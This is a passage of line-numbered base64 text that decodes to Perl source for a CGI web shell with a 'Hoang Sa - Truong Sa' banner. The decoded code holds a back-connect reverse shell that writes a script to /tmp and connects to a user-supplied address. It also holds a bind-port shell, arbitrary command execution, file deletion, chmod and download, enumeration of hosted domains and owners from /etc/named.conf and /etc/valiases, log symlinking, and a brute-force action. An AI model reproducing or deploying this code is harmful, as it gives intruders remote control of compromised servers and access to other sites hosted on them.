1874b3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJ
1875cmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSRE
1876YXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZp
1877bGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnRE
1878aXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7
1879CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCBiYWNrY29u
1880bmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhp
1881dCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcg
1882Ii90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJ
1883JEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxF
1884LCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgi
1885cGVybCBiaW5kcG9ydC5wbCAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAw
1886OwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1887LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0t
1888LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1889LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKICAg
1890IGlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJ
1891CXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmls
1892ZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURp
1893cigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0K
1894CQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQoJaWYoIXJtZGlyKCRkaXIpKQoJewoJCQoJfQp9
1895CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJ
1896CSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJl
1897dHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRn
1898cm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJ
1899cmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsK
1900CW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAu
1901JENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmls
1902ZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAi
1903LSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1
1904ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4g
1905IiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRy
1906ZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0
1907OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkg
1908JGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5
1909XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5
1910ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsK
1911CQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1d
1912LCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmls
1913ZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAt
1914cyAkZmlsZTsKCX0KCXJldHVybiAiMCI7Cgp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRz
1915aXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsK
1916CX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJp
1917bnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQll
1918bHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsK
1919CQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5n
1920ID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJl
1921dHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsK
1922CSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsK
1923CW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7CgkkcGF0aD1+IHMvXFxcXC9cXC9nOwoJ
1924bXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNw
1925YW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBb
1926ICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9
1927J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicg
1928bmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcg
1929dmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAo
1930KTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGls
1931ZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigt
1932ZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7
1933CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJ
1934fQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUg
1935PSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48
1936dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoKCQk8dHIgc3R5bGU9J2JhY2tncm91
1937bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6
1938MTAwcHg7Jz5GaWxlIFNpemU8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5Pd25lcjwv
1939dGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPgoJCTx0aCBzdHls
1940ZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjI2
1941MHB4Oyc+QWN0aW9uPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJsaW5lIjsKCQlteSAkaT0wOwoJ
1942CWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIp
1943ID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsK
1944CQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJ
1945CX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJJGQgPSAkcGF0aDsKCQkJfQoJCQllbHNl
1946IAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0n
1947JHN0eWxlJz4KCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsg
1948Zm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5h
1949bWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3Vs
1950dCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwv
1951dGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFs
1952aWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZG
1953aWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2Rf
1954Zm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48
1955L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZG
1956aWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3Rl
1957eHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNs
1958aWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hl
1959cygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1v
1960dmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0k
1961cGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwv
1962dHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxl
1963PSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJ
1964CSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJ
1965JHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2Zv
1966bnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0
1967JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4m
1968UGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQg
1969c3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkk
1970cmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVy
1971Oycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygk
1972ZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmls
1973ZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0
1974ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90
1975ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJl
1976Zj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPkVkaXQ8L2E+IHwg
1977PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0o
1978JGksJyRmaWxlJywnZicpXCI+UmVuYW1lPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28m
1979Zj0iLiRmLiInPkRvd25sb2FkPC9hPiB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3Zl
1980IGZpbGU6ICRmaWxlID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRo
1981JnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPC90cj4iOwoJ
1982CQkkaSsrOwoJCX0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7Cgl9CglyZXR1cm4gJHJl
1983c3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1984LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyCiMt
1985LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1986LS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdEb21haW5Vc2VyCnsKCW9wZW4gKGRvbWFpbnMs
1987ICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CglteSBAY256cyA9IDxkb21haW5zPjsKCWNs
1988b3NlIGQwbWFpbnM7CglteSAkc3R5bGU9ImxpbmUiOwoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0
1989eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9u
1990ZyBTYTwvZm9udD48L2g1PiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxk
1991blwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsKCQlyZXR1cm4gJHJlc3VsdDsKCX1lbHNlCgl7
1992CgkJJHJlc3VsdCAuPSAnPHRhYmxlPjx0cj48dGg+RG9tYWluczwvdGg+IDx0aD5Vc2VyPC90aD48
1993L3RyPic7Cgl9Cglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQoJewoJCWlmKCRvbmUgPX4gbS8uKj96
1994b25lICIoLio/KSIgey8pCgkJewkKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90
1995bGluZSI6ICJsaW5lIjsKCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7CgkJCSRv
1996d25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRy
1997IGNsYXNzPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+Jy4kb25lLicgPC90ZD48dGQ+ICcuJG93bmVy
1998Lic8L3RkPjwvdHI+JzsKCQl9Cgl9CgkkcmVzdWx0IC49ICc8L3RhYmxlPic7CglyZXR1cm4gJHJl
1999c3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2000LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVmlldyBMb2cKIy0tLS0tLS0tLS0tLS0t
2001LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2002LS0tLS0tLQpzdWIgVmlld0xvZwp7CglpZigkV2luTlQpCgl7CgkJcmV0dXJuICI8aDI+PGZvbnQg
2003c3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBX
2004aW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGgg
2005TG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9s
2006b2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xv
2007ZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRp
2008PTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJ
2009CWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wg
2010PSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJ
2011ewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9y
2012X2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdj
2013b2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJ
2014PHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlw
2015ZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVl
2016PSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJ
2017PHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90
2018ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxl
2019c3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
2020ZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGly
2021IiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJ
2022fQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0t
2023LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2024LS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0t
2025LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2026LS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24g
2027PSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307
2028CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFu
2029c2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsn
2030YSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24g
2031c3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUg
2032Y29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsK
2033IyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5k
2034PSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1
2035cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9
2036ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2lu
2037IiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1M
2038b2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQ
2039YWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJ
2040aWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRm
2041aWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0g
2042YGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7
2043CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXBy
2044aW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7
2045CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikK
2046CXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVu
2047PiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZ
2048b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRp
2049bnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQ
2050YXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UK
2051CQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+
2052PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2
2053ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERp
2054cjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1
2055biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21t
2056YW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZl
2057IGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRp
2058bnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJ
2059ewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+
2060PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJ
2061CQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJ
2062cHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1
2063c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRl
2064cigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJy
2065dXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VI
2066ZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIp
2067IAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZp
2068bGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmll
